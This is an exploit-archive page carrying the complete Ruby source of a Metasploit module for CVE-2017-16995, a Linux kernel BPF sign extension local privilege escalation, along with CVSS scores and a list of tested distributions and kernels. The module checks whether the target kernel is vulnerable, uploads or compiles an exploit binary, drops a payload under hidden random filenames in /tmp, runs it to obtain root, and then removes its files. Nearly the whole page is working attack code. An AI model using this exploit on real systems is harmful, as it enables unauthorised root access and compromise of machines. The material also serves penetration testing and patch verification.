Linux BPF Sign Extension Local Privilege Escalation

2018.07.19
Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform sign extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This module has been tested successfully on: Debian 9.0 kernel 4.9.0-3-amd64; Deepin 15.5 kernel 4.9.0-deepin13-amd64; ElementaryOS 0.4.1 kernel 4.8.0-52-generic; Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; Manjero 16.10 kernel 4.4.28-2-MANJARO; Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; Ubuntu 17.04 kernel 4.10.0-19-generic; ZorinOS 12.1 kernel 4.8.0-39-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit 'vnik', # upstream44.c exploit 'rlarabee', # cve-2017-16995.c exploit 'h00die', # Metasploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 12 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'get-rekt-linux-hardened.c' ], [ 'AKA', 'upstream44.c' ], [ 'BID', '102288' ], [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'EDB', '45010' ], [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' release = kernel_release if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end


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